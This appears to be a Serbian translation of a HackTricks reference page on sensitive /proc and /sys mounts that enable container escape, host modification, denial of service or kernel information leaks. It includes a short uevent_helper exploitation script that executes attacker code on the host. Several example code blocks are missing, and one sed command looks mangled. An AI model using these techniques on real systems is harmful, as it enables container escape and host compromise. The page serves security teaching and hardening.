Sensitive Mounts
Last updated
Last updated
Naučite i vežbajte hakovanje AWS-a:HackTricks Training AWS Red Team Expert (ARTE) Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)
Izloženost /proc
i /sys
bez odgovarajuće izolacije imenskog prostora uvodi značajne sigurnosne rizike, uključujući proširenje površine napada i otkrivanje informacija. Ovi direktorijumi sadrže osetljive datoteke koje, ako nisu ispravno konfigurisane ili pristupljene od strane neovlašćenog korisnika, mogu dovesti do bekstva iz kontejnera, modifikacije domaćina ili pružanja informacija koje olakšavaju dalje napade. Na primer, nepravilno montiranje -v /proc:/host/proc
može zaobići AppArmor zaštitu zbog njegove putem zasnovane prirode, ostavljajući /host/proc
nezaštićenim.
Možete pronaći dalje detalje o svakom potencijalnom propustu na https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.
/proc/sys
Ovaj direktorijum dozvoljava pristup za modifikaciju kernel promenljivih, obično putem sysctl(2)
, i sadrži nekoliko poddirektorijuma od interesa:
/proc/sys/kernel/core_pattern
Opisan u core(5).
Omogućava definisanje programa za izvršavanje prilikom generisanja core datoteke sa prvih 128 bajtova kao argumentima. Ovo može dovesti do izvršavanja koda ako datoteka počinje sa cev |
.
Primer testiranja i eksploatacije:
/proc/sys/kernel/modprobe
Detaljno opisan u proc(5).
Sadrži putanju do učitavača kernel modula, pozvanog za učitavanje kernel modula.
Primer provere pristupa:
/proc/sys/vm/panic_on_oom
Pomenut u proc(5).
Globalna oznaka koja kontroliše da li kernel pravi paniku ili poziva OOM ubijalicu kada se desi OOM uslov.
/proc/sys/fs
Prema proc(5), sadrži opcije i informacije o fajl sistemu.
Pristup pisanju može omogućiti različite napade uskraćivanjem usluge na domaćinu.
/proc/sys/fs/binfmt_misc
Omogućava registraciju interpretatora za ne-nativne binarne formate na osnovu njihovog magičnog broja.
Može dovesti do eskalacije privilegija ili pristupa root shell-u ako je /proc/sys/fs/binfmt_misc/register
za pisanje.
Relevantan eksploatacioni primer i objašnjenje:
Detaljan tutorijal: Video link
/proc
/proc/config.gz
Može otkriti konfiguraciju kernela ako je CONFIG_IKCONFIG_PROC
omogućen.
Korisno za napadače da identifikuju ranjivosti u pokrenutom kernelu.
/proc/sysrq-trigger
Omogućava pozivanje Sysrq komandi, potencijalno uzrokujući trenutne ponovne pokrete sistema ili druge kritične akcije.
Primer ponovnog pokretanja domaćina:
/proc/kmsg
Izlaže poruke kernel prstena.
Može pomoći u eksploataciji kernela, otkrivanju adresa i pružanju osetljivih informacija o sistemu.
/proc/kallsyms
Navodi simbole kernela i njihove adrese.
Bitno za razvoj eksploatacije kernela, posebno za prevazilaženje KASLR-a.
Informacije o adresi su ograničene sa kptr_restrict
postavljenim na 1
ili 2
.
Detalji u proc(5).
/proc/[pid]/mem
Interfejsira sa uređajem kernel memorije /dev/mem
.
Istoriski ranjiv na napade eskalacije privilegija.
Više o proc(5).
/proc/kcore
Predstavlja fizičku memoriju sistema u ELF core formatu.
Čitanje može otkriti sadržaj memorije domaćina i drugih kontejnera.
Veličina datoteke može dovesti do problema sa čitanjem ili rušenjem softvera.
Detaljna upotreba u Dumping /proc/kcore in 2019.
/proc/kmem
Alternativni interfejs za /dev/kmem
, predstavlja virtuelnu memoriju kernela.
Omogućava čitanje i pisanje, stoga direktnu modifikaciju kernel memorije.
/proc/mem
Alternativni interfejs za /dev/mem
, predstavlja fizičku memoriju.
Omogućava čitanje i pisanje, modifikacija sve memorije zahteva rešavanje virtuelnih u fizičke adrese.
/proc/sched_debug
Vraća informacije o rasporedu procesa, zaobilazeći zaštitu PID imenskog prostora.
Izlaže imena procesa, ID-ove i identifikatore cgroup-a.
/proc/[pid]/mountinfo
Pruža informacije o tačkama montiranja u imenskom prostoru montiranja procesa.
Izlaže lokaciju rootfs
kontejnera ili slike.
/sys
/sys/kernel/uevent_helper
Koristi se za rukovanje kernel uređajima uevents
.
Pisanje u /sys/kernel/uevent_helper
može izvršiti proizvolne skripte prilikom okidača uevent
.
Primer eksploatacije: %%%bash
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
host_path=$(sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab)
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo change > /sys/class/mem/null/uevent
cat /output %%%
/sys/class/thermal
Kontroliše postavke temperature, potencijalno uzrokujući DoS napade ili fizičku štetu.
/sys/kernel/vmcoreinfo
Otkriva adrese jezgra, potencijalno kompromitujući KASLR.
/sys/kernel/security
Sadrži securityfs
interfejs, omogućavajući konfigurisanje Linux Security Modula poput AppArmor-a.
Pristup može omogućiti kontejneru da onemogući svoj MAC sistem.
/sys/firmware/efi/vars
i /sys/firmware/efi/efivars
Otkriva interfejse za interakciju sa EFI varijablama u NVRAM-u.
Pogrešna konfiguracija ili eksploatacija može dovesti do oštećenih laptopova ili neupotrebljivih host mašina.
/sys/kernel/debug
debugfs
nudi "bez pravila" interfejs za debagovanje jezgra.
Istorija sigurnosnih problema zbog njegove neograničene prirode.
Naučite i vežbajte hakovanje AWS:HackTricks Training AWS Red Team Expert (ARTE) Naučite i vežbajte hakovanje GCP-a: HackTricks Training GCP Red Team Expert (GRTE)